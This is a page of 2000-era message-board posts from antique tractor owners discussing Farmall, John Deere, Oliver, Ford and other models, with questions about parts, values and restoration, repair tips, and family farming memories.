Duane Sanders wrote on Monday, October 02, 2000 (PDT):I use to have a 560 Diesel wide front. It was a good tractor for my farming operation of 320 acres. I was a fool to trade it years ago. I also have my Dad's tractor that he bought new in 1963. It is a 504 Diesel with a torque amplifier. I am interested in finding out what this tractor is worth. It is a row crop style tractor with a 3 point hitch also. Anyones input would be greatly appreciated. Thanks.
Pete wrote on Monday, October 02, 2000 (PDT):I have a Farmall 450 desiel and I need to open the pump up to get more power, can anyone tell me how to do that, thanks
C.W.Broughton wrote on Monday, October 02, 2000 (PDT):To; Dan Schloesser...installing the sycle bar mower is kind of tricky...pull it out so you have lots of maneuvering room set the mower so that the pto shaft/pulley is at right angle to mower blade...then drive your cub from the right up to and at 90 degrees to the pto shaft of mower or parrallel to the mower blade..pull up to the pto shaft pulley so rear wheel almost touches,hit your right brake and turn hard,pull forward so that rear right wheel almost touches the pitman arm/mower blade, then turn wheels to left and back up and align mower underneath tractor. Place a jack underpitman arm pulley/saddle bracket and jack up to meet the two bolts on the transmission case of tractor. Attach bolts.then remove three lower bolts on pto housing abd bolt pulley bracket there,be sure and put belt on pulleys as you do this. Last,tighten the "adjustment bolt on lower end of pulley bracket. See. it's easy !!
John Murray wrote on Monday, October 02, 2000 (PDT):Hi all, I need a seat and springs for my 1946 "B". Can anyone help me out with a deal? I'm not worried about "looks". I use my tractor with a continental belly mower to mow grass. Need something to sit on is all. thanks.
Herm Ritenour wrote on Monday, October 02, 2000 (PDT):My dad had two F-20s when I was growing up. They were on steel wheels and then put on rubber later.. Today I would be intrested in buying one on rubber.
TODD wrote on Monday, October 02, 2000 (PDT):I HAVE AFARMALL REGULAR TO RESTORE NEED INFO ON DECALS ENGINE PARTS AND THE SPECIFICS OF THE TRACTORi.e PAINT CODES MAG CARB DECAL LOCATION AND ALSO NEED SET OF STEEL WHEELS ANY AND ALL INFO WOULD BE APPRECIATED. THANKS IN ADVANCE.
C.W.Broughton wrote on Sunday, October 01, 2000 (PDT):To; Steve Dean your tractor is a late 1955 model To; Emile Picarella youi can get a manual from I & T (Intertec) P.O.Box 12901 Overland Park,Ks.66282-2901 To; Don Holden... your set screw on the front of the governor needs to be re-set for pulling (high speed)...loosen the nut and set it about 3 turns in.. I set mine and it plows like a champ!!
C.W.(Jim) Broughton wrote on Sunday, October 01, 2000 (PDT):To;Andy Martin; re;Carb.. on the bottom of the float chamber is a long,round valve;on the outside it looks like a hex nut..unscrew it and remove...look at the end of the cylinder and there is a tiny hole...it is stopped up..clean it out with a sewing needle(small)re-install and she should run beautifully!!
Dan Osbern wrote on Sunday, October 01, 2000 (PDT):I have a 1947 8N tractor, and I love it! I am going to start restoring it this winter. I was thinking about changing it over to a 12 volt system is there any advantage in this change. My tractor is still has a 6 volt system and it works great. Other than the leaking seals in the back wheels and no brakes, it runs great. I use it for brush hogging, finish mowing, box blading and I even have a scoop for the three point and a boom pole. Its a little work horse, I don't know what I'd do with out it. Any info on the 12 volt system would be a great help. Thanks Dan
tom beall wrote on Sunday, October 01, 2000 (PDT):Hi, Maybe someone here canhelp me identify a flathead v-8 I have. It's of the 49 to 53 design, is yellow, has k 393 on block above bellhousing, has eab heads with L262 on right head.I can't find an automotive code for k393 and the color isn't right either. ford did make an industrial motor in yellow. Is the code industrial? if anyone knows e-mail me with any info you may have. thanks Tom Beall
Tony c wrote on Sunday, October 01, 2000 (PDT):have 1943 VAI CASE is it 6 volt
Lee Johnson wrote on Saturday, September 30, 2000 (PDT):I own two Case "V" series tractors...one is a VAC with the serial number plate missing. I was told there is no other way to determine the year of the tractor...is that true? I know that the later "V"s had "O" ring seals in the hydrolic cylender...this one has the leather cap type.
Magnus Olsson wrote on Friday, September 29, 2000 (PDT):Hi, I am 25 yrs old from Sweden, and the proud owner of a Fordson Super Power Major -60 or -61. I had to restore the engine bec. it had not been in use for about ten yrs. I have also equipped the tractor with power steering. Please contact me w. questions or comments on this fine model!
Grandma wrote on Friday, September 29, 2000 (PDT):They same "time heals everything." In 1956 my mom and dad went to Minnesota for the weekend to look for a farm as in southern Iowa there was a drought - we were buying water for ourselves and our animals at that particular time; I was left in charge of milking cows for the weekend. On Sunday afternoon I decided to take the Oliver 70 for a ride through town (it was not unusual for me to drive it - I had driven the Oliver when making hay and even cultivated for dad sometimes). However, I did not know that dad was in the process of changing oil - the oil had all been drained out; after I arrived on the main street of a small town where everyone knew everyone - fire started coming out of the chimney; I wish I had stopped then and there, but I thought I had to get home - about a mile away. Bottom line -tractor was ruined; I thought my reputation was ruined forever as I and everyone else knew what I had done. My dad was more understanding about it than I would have been. God bless him. It was our only tractor so he had to purchase another tractor in order to get the crops in that Spring - and money was tight. This has been a "off limits" subject with me for many years - now I wish I knew if there were "note cards" with the Oliver 70 picture on the front - and if not the Oliver 70 - just any Oliver - for sale anywhere.
Lou Grossi wrote on Thursday, September 28, 2000 (PDT):I'm having a problem similar to Ron's. I'm trying to get an upper lift arm repaired but for the life of me I can't get it off. Any suggestions?
Greg wrote on Thursday, September 28, 2000 (PDT):To all you JD H fans at 32 my first tractor was a Allis Chalmers B. Was driving down a road near by had happen to come across a cub cadet sitting, so as any male thats into cub cadet would stop and inquire about tractor. In the line of bs out came that he had a John Deere H for sale and saying to myself humm this could be interesting to see. So my first site of tractor i said i have to own it.Now to make story short its home already restored and the fevers on as to now i own 3 JD H's , 2 JD B's, JD 110,112 lawn tractors. My advise is to own one you'll love it. Nothing sounds better than a John Deere going putt putt. Thanks again Greg
VERNON STEWART wrote on Thursday, September 28, 2000 (PDT):I recently purchased a H FARMALL sn 1084 I AM SURE IT IS A 1939 MODEL i was wondering what it is really worth. It was slightly stuck but after removing the head and cleaning the cylenders was free again, no ring grove at all. Now runs great after a slight tune paid $400 dollars with loader.
Tom Saathoff wrote on Thursday, September 28, 2000 (PDT):I started driving AC many years ago. I have used WD.WD45.D14.D17 (4) D19 7010. &B. You can do more work on less fuel with a 17 than any thing else made. I use mine for discing,sowing hauling everything,mowing and even baling. As to the problem of creeping with the hand clutch in nuetral,(they all do this), try a novel solution; either use the brakes, or idle all the way down and turn the front wheels full. This works on mine. As to the gentleman who inquired about the 17 stuck in gear; We had a 19 that did this and we had to pull the trans cover off and align the shifter forks and move the gears to nuetral. Hope these tips help
Derek Burkhart wrote on Thursday, September 28, 2000 (PDT):How much horsepower does the M have? How much would a 3 point kit cost for a M?
Rolly Patterson wrote on Thursday, September 28, 2000 (PDT):I am interest in learning about Older Ford Tractors, 8n 9n & then the next few models. Maybe 50' thru 60's Can you give me some help, books, sites etc. Thank You
Leo wrote on Wednesday, September 27, 2000 (PDT):I know of a Z row crop with adjustable wide front axle Does someone know how many these were made
Dale L. Smith wrote on Tuesday, September 26, 2000 (PDT):Looking for AC "G" in central Pa. area. Interested in equipment also. Equipment Need not be with tractor. If not in central Pa. please advise address. Thank you/ Dale
eric wrote on Tuesday, September 26, 2000 (PDT):I am looking for a belly mower and parts for a sickle mower for the G. Also does anyone have any information regarding the Kubota diesel engine which can be installed on the G?
Dale Ridenour wrote on Tuesday, September 26, 2000 (PDT):I have a large selection of good used and allot of new reproductions parts for sale for the L series tractors. You can e-mail me or phone at (513)-988-0390. Also have a web site at www.antiquejohndeere.com
Wild Bill wrote on Monday, September 25, 2000 (PDT):My stupid-head brother tried to jump start my 8n the other day with his truck. Well, i guess it didnt work and now i cant get it started. What would have gotten fried in the idiotic process that i can fix to get it going..I need to get my pumpkins to the farmstand!!!
Emile Picarella wrote on Monday, September 25, 2000 (PDT):I have three farmall tractors one is a cub, I am looking for cataloge for parts can someone tell me how to get that and what information is needed , such as serial number or what else....thanks
charlie wrote on Monday, September 25, 2000 (PDT):I have 12 parts tractors if i can help some one gave me a call or email 856-358-3371
Kevin wrote on Monday, September 25, 2000 (PDT):I recently recently bought 1954 Farmall Cub #170789 with a 4' woods mower. I'm trying to locates a clutch, pressure plate and throw out bearing. The tranny does want to do into gear without the crunch. Can any one help me out. Thanks guys.
Matthew wrote on Sunday, September 24, 2000 (PDT):Ernie Henning is correct about the difference between a B and a BN. The B Farmall rear axle is wider on both sides than the right side of a Farmall A's rear axle. The BN, however, has the same width rear axle on both sides as on the right side of the Farmall A. Besides this difference in the rear axles, B's and BN's are the same tractor.
Dave Evans wrote on Sunday, September 24, 2000 (PDT):My grandfather bought a new ZTU in 1948 and a ZAU in 1953 with the live power clutch to run on an AC 66 combine. We still use them both on our farm in Ravenna Oh to do all the small jobs around the farm like raking hay and pulling wagons around. They are the handiest tractors to back a wagon with due to their turning radius and the ZTU backs good and slow. We also picked up another ZAU about the same age as the other one and hope to get it running soon. We have other MM equipment as well such as; 2 row corn planter, sickle bar mower, a 2 bottom and 3 bottom plow, disc, cultivators and the flat belt & pulleys which we used to use for a stationary corn sheller. We also have a 602 Diesel and a MM loader that we mounted on a 1955 Oliver. We love our old molines and probably wouldn't trade them for a new tractor.
Bud Gallant wrote on Sunday, September 24, 2000 (PDT):I would like information on wiring harness for 1951 Cub with electric
Bud Gallant wrote on Sunday, September 24, 2000 (PDT):I am trying to locate implement manauals for my Farnall Cub. I purchased it recently I purchased it recently and with it I have ground plows, sicle bar mower springtooth harrows and cultivators. Any help will be appreciated.
r hughes wrote on Sunday, September 24, 2000 (PDT): I own a Regular. The unit was sold to me as a 29, but I believe it is a 31. It is totaly origional even the paint howeaver it has been placed on round spoked rubber tire's--36inch rear--16inch front. It still runs & drives great. The decals on the rear axel's are yellow & black not white & black. I also happen to have a complete extra air intake stack & all for same.--R
bill wrote on Saturday, September 23, 2000 (PDT):I just bought a front end loader for my cub,I did not get all the pieces. need a picture of one, can anybody help?
Terry Koser wrote on Saturday, September 23, 2000 (PDT):I own a 1937 F-20,fully restored it was always in our family, the first tractor I ever drove.It was original with the narrow front,I have been thinking about buying a wide front end for it to change its looks once in a while. does anyone know a ball park figure what a half-way STRAIGHT wide front ends are going for? I thank you for any help..
Tom Anderson wrote on Friday, September 22, 2000 (PDT):Was the R available with full or wheatland fenders as an option ?
Kevin wrote on Friday, September 22, 2000 (PDT):I live in Connecticut and recently purchased a 1947 BN. It looks and runs great, but without a 3 point hitch I'm told I can't do much with it. Anyone know who in the area could put a 3 point hitch on and where to get some implements close by?
Scott Porter wrote on Friday, September 22, 2000 (PDT):What year was this tractor made?
James Monroe wrote on Thursday, September 21, 2000 (PDT):Does anyone sell just the bellhousing adapter(49-53 V8)? The rest of it appears quite simple. If you have had experience with this conversion, I would like to exchange imformation with you. Thanks! I am a 63 year old with a shop and lots of cars and tools, not a novice. James
Howard wrote on Tuesday, September 19, 2000 (PDT):I have been getting part and peices together for setting a 60H.P. v/8 into a 8N for sometime and Iwould like to hear from some one that is doing alike project. I put a V/6 Mustange into a ferguson, but the Ford into a ford is a little diferent ballgame thanks howard
Howard MCCollum wrote on Tuesday, September 19, 2000 (PDT): I Have a 51 model 8N with a set of 20 inch Arps tracks work real well in the south in sandy land when you had a wet spring and you needed to get your tobacco set out.
Howard MCCollum wrote on Tuesday, September 19, 2000 (PDT): I Have a 51 model 8N with a set of 20 inch Arps tracks work real well in the south in sandy land when you had a wet spring and you needed to get your tobacco set out.
David M. Williams wrote on Tuesday, September 19, 2000 (PDT):About a year ago a friend of mine found a 560 Diesel that I bought. It was purchased from an elderly gentleman who had stated he had gotten too old to climb onto it and that it was too high up off the ground. The tractor had been shed kept and just this spring I had to replace the "orginal" front tires. I'm not sure how many hours was placed on this tractor because I found the RPM drive mechanism stripped out at 2435 hours. She's just as strong as I want her to be with my largest implement being a 10' heavyduty offset disk harrow. My brother had just recently commented on the unique strong sounding engine.
chris hale wrote on Monday, September 18, 2000 (PDT):i recently located an oliver 80 row crop tractor.i have the opportunity to purchase this tractor if i can come up with a fair offer.if anyone out there can give me an estimate i would greatly appreciate it.this tractor is running well and has been restored approx. 10 years ago
P.Getman wrote on Sunday, September 17, 2000 (PDT):In the late 60's early 70's my father purchased an 3 cylinder Sheppard Diesel. It had a hand plunger device to inject fuel oil directly to the cylinders to fire the engine up. But most of the time we towed the thing to get it going. Once running, we kept it running all day. The power was decent and it did all our hay. One time the rod broke and luckily we purchased another one from Pennsylvania. ANother time the bull gear lost some teeth, so we put another one of those in. Then the pinion went and we put another of those in. I guess these Sheppards were versatile according to many people. Easy to repair...ect . , but after a while the Real Metal Seal would leak engine oil. Being OEM it was hard to get parts that worked. It was our main tractor for 20 years. Big batteries were needed to fire it up. The PTO would run all the time so we would hook the PTO up Before starting. Then it would have a tremendous drag. But after a little running, things would loosen up. The best advantage was that it was live hydraulics and 8 speeds ahead and two reverse's. The Rear End was Cockshutt so the parts needed were available. There is a Sheppard Day down in Pennsylvania I hear and the owner, Mr. Sheppard comes and visits. I hear the Sheppard Company only made thru it's history less that a 1000 tractors.
P.Geman wrote on Sunday, September 17, 2000 (PDT):This Super MD was my Grandfathers when he got it new in 1953. He had 50 head of Dairy Cows and used it for doing everything. Plowed & planted 75 acres for years in corn. Also Cut and Baled hay. He had the head crack once and it was replaced by the dealer. You have to let the hot engines cool by idling after a hard work out. 15 minutes was the suggested time. The tractor had set outside for some time and the clutch froze to the pressure plate. So that is when I purchased it from Grandpa. He said after the second overhaul ,it never work like before, he thought the dealer did a poor job. Until a few years ago, I found out that after changing the injection pump with a overhauled one, The tractor has been working great. Today I use it for my handyman's tractor. I put a loader on it and move manure and use it also for plowing[snow & Sod], raking, baling on the old New Holland 77 Hay Baler. Just like Grampa use to do.
P. Getman wrote on Sunday, September 17, 2000 (PDT):The 500 Case Diesel I own has been with me since 1977. Purchased it from an IH dealer in the Syracuse Ny area. At the time it had new 34 inch Rear tires. Being unfamiliar with the hand clutch, it took me very little time to get used to it. I looked over some of the stories of other people and the PTO has been a little bothersome but I did replace all the disc & cluthches a couple years ago. The parts came from IH-Case. I happened to have a parts book with mostly good part numbers for the 500D. I use a Hesston Habine, Old PTO New Holland 77 Haybaler, and plow my corn garden with it. The engine purrs steady.
Brian Kraft wrote on Saturday, September 16, 2000 (PDT):correction to previous message. This is the right email address. He also has some sort of Oliver 18 pull type combine. For more details email me.
Brian Kraft wrote on Saturday, September 16, 2000 (PDT):My grandpa has a 1948 RowCrop 70 and a lot of other Oliver and JD items being Auctioned on Sept 19 in north central Iowa. Can anyone tell me what they are worth
DANIEL MORROW wrote on Saturday, September 16, 2000 (PDT):I HAVE A SUPER 55 AND PURCHASED IT ABOUT 2 YEARS AGO. SINCE I HAVE HAD TO REPLACE THE PTO CLUCHES AND AM FINDING OUT IT IS HARD AND EXSPENSIVE FINDING SHEAT METAL FOR THIS TRACTOR.IT`S HAD A NOISE IN THE ENGINE SINCE I`VE HAD IT AND FOUND OUT IT WAS A WRIST PEN BUSHING GONE ON #2 CYLINDER. GETTING IT BACK TOGETHER THOUGH AND EXCITED TO HEAR IT PURR..STILL NEED MIDDLE HOOD STRIP DOOR.ANYONE HAVE ONE CHEAP HAHA LET ME KNOW..
Curtis Akridge wrote on Saturday, September 16, 2000 (PDT):I'm looking for a for 8N tractor in the area of south GA I need it do to light yard work Price must be under $2000 w/attachments
steve haux wrote on Saturday, September 16, 2000 (PDT):Can anyone tell me what the oil pressure on a model 70 is suppost to be?
Steve Haux wrote on Saturday, September 16, 2000 (PDT):HI,I have a partial restored model 70 I'm looking for side engine covers and a crank handle Thank You.
D.W. Sapp wrote on Friday, September 15, 2000 (PDT):I bought in the spring a 51 M from a friend of mine who taught be how to be a air traffic controller. It is a great old tractor and looks good sitting in my barn next to my AC wc and wd. Now thinging about a super H to add to my collection!
ernie henning wrote on Wednesday, September 13, 2000 (PDT):The B is wider than the BN in the rear. The B is 79 1/2 and the B is 71 1/2/ Nothing to do with front tire at all. That is why they called it a BNarrow.
Johnny Chavers wrote on Tuesday, September 12, 2000 (PDT):I am considering buying a Super A farmall. What's the difference between this tractor and a Super A?
Erik wrote on Tuesday, September 12, 2000 (PDT):I have a John deer la I got for free out of my uncles junk pile just got done rebuilding it it still has the id tag.I had also just bought a farmall bn that I wish to use in tractor pulls can you give me a price that those tractors might be worth.
Erik wrote on Tuesday, September 12, 2000 (PDT):I have a John deer la I got for free out of my uncles junk pile just got done rebuilding it it still has the id tag.I had also just bought a farmall bn that I wish to use in tractor pulls can you give me a price that those tractors might be worth.
John Ne... wrote on Monday, September 11, 2000 (PDT):Sept.00,, Rumley also built a most curious tractor that the final drive and rear wheels could be rotated forward and locked, positioning the drive wheels in the center of the tractor. the front axle was then removed, and a trailwheel attached to a rear implement supported the tractor, steering was then with brakes, fellow name of Keenan in Omaha has 2. restored and takes them to Camp Creek show in Nebraska.
charlie wrote on Monday, September 11, 2000 (PDT):hi ! about a year ago i started rebuilding my oliver 60 row crop. you have my article. maybe six mo. ago i purchased a steering wheel from you. the wheel has open spokes, as in just the outer wheel is covered, i returned , no problem. now i want to know if you can get the wheel like mine. all the wheel is covered. their is a center which is open where a metal cap , like a horn button on a car, goes. the tractor is 95% back too original, cloth wires, all body parts. etc. this wheel is my problem . if you don't have it can you steer me somewhere where it might be ? also looking for the 6" head lite ring. it holds the lense on the lamp. i have one but it fell off, got ran over and flattened out. you could save me some tin knocking if could find one. thanks charlie !!!
Don Holden, Genoa City, Wisconsin wrote on Monday, September 11, 2000 (PDT):Hey Cub Fans, I have a 1950 cub that I just equipped with a 12" fast hitch plow. The tractor doesn't have enough muscle to pull it even in low gear. What could be the problem? Under normal conditions will a Cub handle a 12" fast hitch plow in previously worked soil. I am very disappointed so far in my attempts. Any ideas on what could be my problem.
Claus Rieger wrote on Monday, September 11, 2000 (PDT):I bought a Massey 44 a few weeks ago and was wondering if somebody could help on how to identify the year and model on it?
Mike wrote on Monday, September 11, 2000 (PDT):I need a belt pulley for my HG, any condition. I have the PTO, shaft, everything but the pulley. Also would like head and tail lights and mounts. It is not running yet (magento and brakes) but I hope it soon will be.
tim steen wrote on Sunday, September 10, 2000 (PDT):If anyone can help out i need a supplier and or specs on ford tractor 9n 2000 ford dagnum blue. It seems very hard to get information on this paint coding. Also could use a paint chip number for this color. Please email me if anyone can assist. tks tim
Ron Mogle wrote on Sunday, September 10, 2000 (PDT):I have leaking intake-exhaust manifold gasket and need to take it off. Is thee a secret to taking off the nuts that hold it on? I know they have been on there for 50 years and I don't want to break the studs in the head off. Thanks to anybody that might have a suggestion. I have been spraying them for a couple of days with W-D 40 and Knock Loose.
Matthew Clifford wrote on Sunday, September 10, 2000 (PDT):I want fenders off somthing like a 706 to put on my M if somone has a pare call 660 433 6370
S.Lahr/Illinois wrote on Sunday, September 10, 2000 (PDT):I have an H fARMALL,its from the family farm driveing it as a child was the coolest thaing, it runs and im going to restore its paint for parades.I need a batery holder a couple of gages and a few tires,I WOULD LIKE AN ORGINAL Seat!
Robert Joy wrote on Saturday, September 09, 2000 (PDT):I have a D-15 series II. We also have a 175 both are good tractors and are used around the still. Although the 175 is getting tired. My dad had these as long as i can remember and he passed away 2 years ago and in his memory we`ll keep them going. I personally love the D-15 she may be old but like timex says keeps on ticking.
Paul Stimpert wrote on Saturday, September 09, 2000 (PDT):I recently purchased an m series and having some transmission problems. The tractor will not changfe gears but the shifter and clutch work, any one with info to this your help would be apperiated.
Lisa Flattery wrote on Saturday, September 09, 2000 (PDT):I am looking for any information on the Farmall "M" Demonstrator Model built in 1945. Any information would be greatly appreciated! I know there weren't very many built and they were painted White, and when they were sold they were to be painted IH Red. Any information, pictures, or contacts would be very helpful!
P. Biggs wrote on Saturday, September 09, 2000 (PDT):i've got farmall a disc but it's all in pieces. does anyone have a detailed photo of one. thanx, Phill
Andy wrote on Saturday, September 09, 2000 (PDT):I would like to find out more about the 2 speed rear ends that were made for the Cubs. I know that IH made one and so did Howard. I am not sure that the IH would fit on a standard Cub. I would also like to hear from anyone that knows about Henderson loaders that fit the Cubs. Thanks
Ron Muhlenbruck wrote on Saturday, September 09, 2000 (PDT):My father owned a Row Crop 77 with bucket. It was purchased about 15 years ago from an implement dealer for $800.00. Would like to find an "Oliver Rescue Home" for it in the North Iowa area. Please send info. on antiquers in this area. It is in excellent condition.
Samuel Wert wrote on Saturday, September 09, 2000 (PDT):I'm looking for sheet metal and fenders for a Massey Harris 81 tractor. If you can help. Thank you
Marcus Lowenthal wrote on Saturday, September 09, 2000 (PDT):I to colcect Farmall tractors but have never seen a Hi Crop Farmall before. yours is in fantastic condition. If you could send me a picture without the other tractos in the background it would be wondifful Thankyou.
farmallkid wrote on Friday, September 08, 2000 (PDT):hi all you farmall b fans i just purchased my second b . I have not checked the seriel number . The engine is stuck and i have three flat tires. My plans are to overhual the engine,put in new seals,new paint job. My brother and i pull in tractor pulls with are 1944 b .We pull in the 2500 LBS class.We can pull a 2/14 slotted plow in are soil in second gear ,with pletty of power. We restored a HI 2 bottom slotted plow just for our b. The hitch is black the main beams are red the axels are blue the beams that go down are blue the wheels are cream. Have fun with your Bs.
nita cameron wrote on Friday, September 08, 2000 (PDT):my dad left me a1939 f20 when he passed away. he had put a1950flatheadv8 on it for setting tobacco so it would be geared very low.my husband&i are restoring it. for parades&showesi nedd to know where the decals all go can anyonehelp
BOB YANDRY wrote on Friday, September 08, 2000 (PDT):I have a 1946 model 70 that is in very good condition. Would like to sell.
Vic Libby wrote on Thursday, September 07, 2000 (PDT):I have a 1936 L case on steel that my father bought new. It farmed over 200 acres, powered the saw mill, and went on the road thrashing, for over 30 years before retiring to newer equipment. It would be interesting to know how many thousand hours are on it. It was magered once in the fiftys and it still runs like new.
Tim Morgan wrote on Thursday, September 07, 2000 (PDT):Okay, Im really lost now. I have a 1949 cub and the original paint is yellow with white trim. The ID plate on the right side says FCUB and the exaust comes out the top, the serial number dosen't look like a lowboy number, it just has numbers and no letters. it looks like a cub but some say (with out looking at it)it's a lowboy. it dosen't look like a lowboy in the pic. on this web page. I need to know why it's yellow and white. where can I find more information on cubs and lowboys. I don't see much info on lowboys.
Timo wrote on Thursday, September 07, 2000 (PDT):There seems to be some wrong imformation about the manufacturing years of Fordsons in the previous messages. Here is some info about them (which should be correct); The "old" Fordson Major was produced in years 1945-1951. In -51 they started to make the "new" Major (only few was made in 51). It had ca. 40 hp. In 1958 came Dexta (smaller version of Major) and Power Major (more powerful version of Major, ca. 50 hp). The Super Major (and Super Dexta?) came in 1961. Super M. had orange wheels (like all the other models) but they were changed later (62-63?) into white (or grey) colour. In 1964 (?) they stopped making Fordsons and the new models were; Ford Dexta 2000, Ford Super Dexta 3000, Ford Major 4000 and Ford Super Major 5000. They were blue/grey.
Charlie Meakin wrote on Tuesday, September 05, 2000 (PDT):I agree with all the other posts,I just purchased a 1947 M,I have several other tractors but the Farmall M is my favorite.
Daniel Dickerson wrote on Tuesday, September 05, 2000 (PDT):I bought a 1958 International 460 Utility a few months ago for $3,500 - I love it... the paint job is a little rough, but the lift is strong, and the engine is in great shape! The tires are a bit worn but are doing fine - This is a GREAT TRACTOR!!!!
G.Rainey wrote on Tuesday, September 05, 2000 (PDT):The John Deere "G" sound is close to the sound of a Harley Motorcyle that's how I got invlved with the "G"'s. I the time my son was sixteen years old and I was afraid he would get the Harley out and have an accident,so to satisfy myself I purchased a 1948 John Deere "G" but one wasn't enough today my son and I have two unstyled "G"'s and three styled "G"s one which is a puller which is highly modified and a great puller. All the "G"s make some fine two cylinder music,you know no two "G"'s sound alike. Every old "G" I come across I want to drag it home and restore it,only one of my "G"'s isn't restored.
Robert Young wrote on Monday, September 04, 2000 (PDT):I am in the Thornbury Vintage Tractor club, we have a Samson tractor, it is painted grey you will find that you will probably have trouble with the clutch as that it wont functoin right. If it does could you contact me.
Patti Peterson wrote on Monday, September 04, 2000 (PDT):Does anyone know what a Massey Harris 44 tractor in excellent condition complete with 3 point hitch ...early 1950's we think... is worth in Canadian dollars? It's a gas tractor.
Will wrote on Monday, September 04, 2000 (PDT):I have just purchased 1938 L unstyled with i believe the hercules motor..it runs but needs some work ; tires ; some metal work and housing the drive shaft goes into and the driveshaft cover...any one know of or have any good resources for parts,literature etc? thanks alot!!
Gary Arnold wrote on Sunday, September 03, 2000 (PDT):I have a 48-49 Oliver RC70 that we purchased in '54 in Minnesota. When my stepfather died I brought the tractor to Alabama intending to restore it. I have not restored it and probably will not. I'd sell it if the price was right. The grill pieces are missing. I have the side curtains for the engine compartment and I have a "buck saw" that mounts on the tractor. We used it to cut up firewood. We used it for farming, pulled an 18' breaker plow and broke ground on around 70 acres that had not been worked in years. We had trouble with it burning valves and split the manifold on the 6 cylinder to reduce the heat build-up. I have it now in Elkmont, AL. It's not running now. Needs engine work.
Alfred in Illinois wrote on Sunday, September 03, 2000 (PDT):will rebuild pony motors, starters, alternators, and generators from anything, also magnetos. If interested call me at 217-354-2743, all work guaranteed. Cell ph. 217-274-0788, or217-497-4437. Also interested in purchasing a running 720 wheatland, 730 wheatland, and 830. address is; Alfred Gritton 309 E. US. Rte. 150 Oakwood, IL. 61858
Greg Ballantyne wrote on Saturday, September 02, 2000 (PDT):I've got a B, it is a 1949 model. Mine does not work hard, but it works some. I use it to pull a wagon and to maintain my lane, moving snow and scraping the gravel. I fixed it up with 3-pt. hitch and can use the usual cat. 1 implements.
L E Headrick wrote on Saturday, September 02, 2000 (PDT):In my early teens, when the 'M' was fairly new I operated one for a few days on the Lillard Farm near Benton, TN., and worked for Roy B. Bates who leased the farm. Of course at that time and at my age I was "king" sitting atop that giant machine. I do recall those days fondly, however. LEH
Chris Hunter wrote on Saturday, September 02, 2000 (PDT):I am looking to purchase a model G with cultivator. Does anyone know what other implements are available for this tractor such as mower, bucket, blade, etc. Was a 3 piont hitch available. Are there any books or magazines that would have information about this tractor. Any help would be greatly appreciated.
Walter wrote on Saturday, September 02, 2000 (PDT):I have a Super M serial number F-31027-J and a friend has one with serial number F-40203-J. Could any one tell me the year of these tractors and any other information about them. I also have a M for sale that we just finished sawing 12 square of cedar shingles with. Looks and runs very good.
charles wrote on Saturday, September 02, 2000 (PDT):can anone me the width of rear axle housing for a b and bn? and other differnt besides s. number tag?
Joe Heard wrote on Friday, September 01, 2000 (PDT):I have a 1935 B. It has a brass tag, 4 bolt front pedestal on full steel, Ser.#B2823. Just wondered how many people had the lower serial # B's.
Juha Kaitanen wrote on Friday, September 01, 2000 (PDT):There is this type of IHC tractor here in Finland. It is said that it is from 1921. The owner needs spark plugs for the tractor. Do you know where to get them? What type of spark plugs are suitable for this model of IHC? Best wishes Juha Kaitanen Turku, Finland
Gary Gray wrote on Wednesday, August 30, 2000 (PDT):We have a CASE 1943, Model DIO. We are looking for information how to restore this tractor to it's original appearance. Does anybody has information, pictures? What color was it?
John A. wrote on Wednesday, August 30, 2000 (PDT):Chris, Go For IT ! Go to a farm sale , equipment dealer, or wherever you can find a big ol'red darlin just like what your lookin for and get it. Take it home, move the wife's mini van out of the garage, then GET after it!......Even if you don't pull her at a local contest NO one else will have one on your block like her. You could park her in your yard, Tractors make great lawn ornaments you know, plus I promise you will be the talk of the home owners assa. Good Luck !
Christopher wrote on Wednesday, August 30, 2000 (PDT):I was wondering if anyone knows of a Farmall Cub highboy, or loboy for under 300$. Please let me know.
Christopher wrote on Wednesday, August 30, 2000 (PDT):My dad is currently restoring a 1936 F-20. He found it with trees about 6 inches thick coming up through it. He bought it for $50. I help him every once in a while
Steve Olson wrote on Wednesday, August 30, 2000 (PDT):Hello all! I've had my 9N for about 7 years, and have done quite a bit of work on it. I hope to answer and ask a few questions... For many who asked, the original color of the 9N was all grey. Many people, including the previous owner of mine, painted them like an 8N, white hood & fenders, red drivetrain. They're sometimes nicknamed "Red Belly". A good place to start for parts is a Ford tractor dealer. There is also CT (Central Tractor) I have bought parts from them, but about 1 in 4 don't work or fit right and I wind up going to the dealer. You have to be a little careful. Guido and Wayne - the problem with the current leak may be in your ballast resistor connections or your ignition (key) switch. Remember when you're testing, these are 6-volt *negative* systems. Carleton, you may need to check the choke arm to make sure the choke is closing completely. If I don't pull mine out all the way and make sure the butterfly valve is closing completely, mine is hard to start and likes starting fluid. I was accusing it of getting a buzz off the ether. ;) Hitch problems - the hydraulic fluid can get the valves pretty gunked up and then they don't work well. I think I used an automatic transmission fluid "cleaner", moved the levers for awhile, drained the fluid, added new and didn't have any more problems. The mistake a lot of people make is putting gear oil in instead of the proper hydraulic fluid. I hope to visit here and help more. Now, onto my question. My 9N starts fine and runs fine for about 1/2 hour. It will then lose power quickly, misfiring and finally dying within 2 minutes. I then have to wait a few hours 'til she's cooled down and I can use it again. When it's running, it runs great. Must be something related to the engine getting hot but what I don't know. Any help? SteveO
Rick wrote on Wednesday, August 30, 2000 (PDT):I have a D series case tractor, I don't know the year, however I was told it is a 1944. It has a hand clutch, wide front end, and I have totaly restored it. It has new rear tires, brakes, seals, paint, and lots of parts. It has been converted to a 12 volt system. It runs great. I think as heavy duty as it is it would do great in the tractor pulls. Anyway, I am trying to sell it for 1700.00. This is what I have into it in parts. Give me a Call if interested. Willard, Utah 435-734-9826.
LARRY J GINTER wrote on Wednesday, August 30, 2000 (PDT):WE LIVED ON A FARM IN WESTERN PENNA DURNING THE 50's and 60' I BELIEVE IT WAS 1955 MY DAD PURCHASED AN OLIVER 70 I'M NOT SURE ANYMORE OF THE YEAR BUT IT WAS IN EXCELLENT SHAPE. WE DID EVERYTHING WITH IT YOU CANIMAGINE IF YOU HAVE LIVED ON A FARM FOR ANYTIME. IT HAD A VERY FAST ROAD GEAR BUT WITH A SIX CYLINDER ENGINE IT WAS HARD ON FUEL A REAL WORK HORSE.
Robert Young wrote on Tuesday, August 29, 2000 (PDT):I am a member of the Thornbury Vintage Tractor and Implement club Southland New Zealand. We have one of these in our club, it has been restored for about 3 years. They are supposed to be painted grey. They also have a funny type of carburator on them, which will have been replaced, you will have trouble trying to find one..
